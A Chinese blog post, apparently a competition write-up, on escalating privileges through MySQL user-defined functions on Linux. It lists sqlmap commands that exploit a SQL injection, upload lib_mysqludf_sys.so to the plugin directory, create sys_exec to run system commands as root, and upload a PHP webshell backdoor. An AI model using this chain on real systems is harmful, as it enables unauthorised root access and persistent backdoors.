Linux MySQL Udf 提权

最新推荐文章于 2025-04-23 01:41:01 发布

Coisini、

最新推荐文章于 2025-04-23 01:41:01 发布

阅读量2.3k

点赞数

CC 4.0 BY-SA版权

分类专栏：其他相关逆向漏洞 web安全文章标签： liuxn Udf提权 mysql

本文链接：https://blog.youkuaiyun.com/kclax/article/details/91515105

web安全同时被 3 个专栏收录

97 篇文章

订阅专栏

逆向漏洞

65 篇文章

订阅专栏

其他相关

18 篇文章

订阅专栏

本文详细记录了在一次竞赛中利用SQL注入漏洞，通过上传lib_mysqludf_sys插件并激活sys_exec函数，成功在Linux环境下实现MySQL提权至root的过程，同时展示了如何上传后门程序。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

在这里插入图片描述
前几天做一个小竞赛中有一个题目：给定的测试环境登录页面有POST注入漏洞，于是果断操起sqlmap跑数据，无意中发现当前MySQL连接用户为root，于是想到udf提权「虽然Windows下MySQL提权基本上没问题，但是Linux环境下原来一直没成功过。」，最终成功获取root权限「主要问题在于MySQL是以root权限运行」，记录笔记如下，方便以后查阅：
具体步骤如下

找到MySQL插件目录:

python sqlmap.py -u 'http://xxxx' --sql-shell

show variables like "%plugin%";

利用sqlmap上传 lib_mysqludf_sys到MySQL插件目录;

python sqlmap.py -u 'http://xxxx' --file-write=/lib_mysqludf_sys.so 
--file-dest=/usr/lib/mysql/plugin/

激活存储过程「sys_exec」函数:

python sqlmap.py -u 'http://xxxx' --sql-shell

CREATE FUNCTION sys_exec RETURNS STRING SONAME lib_mysqludf_sys.so

SELECT * FROM information_schema.routines

sys_exec(id);

也利用sqlmap上传后门程序：

python sqlmap.py -u 'http://xxx'  --file-write=C:/phpspy.php --file-dest=/var/www/spy.php

测试环境

Linux Ubuntu 11.04 (Natty Narwhal)
PHP 5.3.5, Apache 2.2.17
MySQL 5.0